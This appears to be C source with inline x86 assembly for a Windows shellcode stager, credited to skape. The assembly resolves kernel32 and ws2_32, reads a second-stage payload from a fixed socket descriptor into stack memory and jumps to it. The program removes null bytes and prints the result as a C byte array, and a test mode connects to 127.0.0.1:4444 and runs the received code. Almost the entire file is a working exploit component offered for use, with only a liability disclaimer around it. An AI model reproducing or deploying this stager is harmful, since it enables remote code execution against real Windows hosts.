/* * Generic read from static fd, jump shellcode * * Targets * * 95/98/ME/NT/2K/XP * * Usage * * $ staticfdread.exe * Usage: staticfdread.exe [test | cstyle] [fd] * * To generate usable code: * * $ staticfdread.exe cstyle 928 * * To test the code by having it simulate a connection to 127.0.0.1:4444 * * $ staticfdread.exe test * * Features/Quirks: * * * No NULLs. * * Disclaimer * * The author cannot be held responsible for how this code is used. * * Compile * * Kernel32 resolution via PEB (Default) * * cl staticfdread.c /link /debug ws2_32.lib * * Kernel32 resolution via SEH * * cl /DUSE_KERNEL32_METHOD_SEH staticfdread.c /link /debug ws2_32.lib * * Kernel32 resolution via TOPSTACK (Note: NT/2K/XP only) * * cl /DUSE_KERNEL32_METHOD_TOPSTACK staticfdread.c /link /debug ws2_32.lib * * skape * mmiller@hick.org */ #include #include #pragma warning(disable: 4068) #define STATIC_FD_OFFSET 0xa5 #define STATIC_FD_OFFSET_MASK 0xab #define SET_STATIC_FD(buf, fd) *(unsigned long *)(((buf)+STATIC_FD_OFFSET)) = (fd) #define SET_STATIC_FD_MASK(buf, mask) *(unsigned long *)(((buf)+STATIC_FD_OFFSET_MASK)) = (mask) int __declspec(naked) staticfdread_begin() { __asm { entry: jmp startup // Skip over our lookup functions #include "generic.c" startup: call find_kernel32 // Resolve kernel32 base address mov edx, eax // Save it in edx push 0xec0e4e8e // Push LoadLibraryA hash push edx // Push kernel32 handle call find_function // Call find_function mov ebx, eax // Save the VMA of LoadLibraryA in ebx load_ws2_32: xor eax, eax // Zero eax mov ax, 0x3233 // Set low half to 32 push eax // Push it push 0x5f327377 // Push 'ws2_' push esp // Push the pointer to 'ws2_32' call ebx // Call LoadLibraryA mov edx, eax // Save the handle in edx load_ws2_32_syms: push 0xe71819b6 // Push recv hash push edx // Push ws2_32 handle call find_function // Call find_function mov edi, eax // Save the VMA to recv in edi mov esi, 0x41414141 // XXX: Replaced with the actual fd and esi, 0x92929292 // XXX: Replaced with mask recv_fd: xor eax, eax // Zero eax xor ebx, ebx // Zero ebx inc eax // Set eax to 0x00000001 sal eax, 0x0d // Shift left 14 setting eax to 0x00002000 sub esp, eax // Allocate 8K of stack space. mov ebp, esp // Save the stack pointer push ebx // Push Flags (0) push eax // Push Length (0x2000) push ebp // Push Buffer push esi // Push Fd call edi // Call recv jmp_code: jmp ebp // Jump into our code } } void __declspec(naked) staticfdread_end() { __asm ret } int main(int argc, char **argv) { if (argc == 1) { fprintf(stdout, "Usage: %s [test | cstyle] [fd]\n", argv[0]); return 0; } if (!strcmp(argv[1], "test")) { char *args[] = { "none", "cstyle", NULL, "run" }; WORD ver = MAKEWORD(2,2); struct sockaddr_in s; char fdString[32]; WSADATA data; int fd; WSAStartup(ver, &data); fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); s.sin_family = AF_INET; s.sin_port = htons(4444); s.sin_addr.s_addr = inet_addr("127.0.0.1"); if (connect(fd, (struct sockaddr *)&s, sizeof(s)) < 0) { printf("connect failed.\n"); return 0; } printf("fd is %d.\n", fd); _snprintf(fdString, sizeof(fdString) - 1, "%d", fd); args[2] = fdString; return main(4, args); } else if (!strcmp(argv[1], "cstyle")) { unsigned char *copy = NULL; unsigned char *start = (unsigned char *)((unsigned char *)staticfdread_begin); unsigned char *stop = (unsigned char *)((unsigned char *)staticfdread_end); unsigned char *c = NULL; unsigned long x = 0, length, fd = 0, mask = 0xffffffff; // Calculate the actual address in memory of the begin/end function based off their relative jmp points. start += *(unsigned long *)((unsigned char *)staticfdread_begin + 1) + 5; stop += *(unsigned long *)((unsigned char *)staticfdread_end + 1) + 5; length = stop - start; if (argc >= 3) fd = strtoul(argv[2], NULL, 10); // Set zero bytes to 0x41 and mask to 0x92 to eliminate nulls if (!(fd & 0x000000ff)) fd |= 0x00000041, mask &= ~(0x0000006d); if (!(fd & 0x0000ff00)) fd |= 0x00004100, mask &= ~(0x00006d00); if (!(fd & 0x00ff0000)) fd |= 0x00410000, mask &= ~(0x006d0000); if (!(fd & 0xff000000)) fd |= 0x41000000, mask &= ~(0x6d000000); if (!(copy = (unsigned char *)malloc(length))) { fprintf(stdout, "failed to allocate buffer\n"); return 0; } memcpy(copy, start, length); // Set the static fd SET_STATIC_FD(copy, fd); SET_STATIC_FD_MASK(copy, mask); fprintf(stdout, "// %lu byte staticfdread shellcode\n\n", length); fprintf(stdout, "unsigned char staticfdread[] = \""); for (x = 0; x < length; x++) fprintf(stdout, "\\x%2.2x", copy[x]); fprintf(stdout, "\";\n\n"); if (argc >= 4 && !strcmp(argv[3], "run")) ((void (*)())copy)(); } else fprintf(stdout, "%s: invalid option\n", argv[0]); return 1; }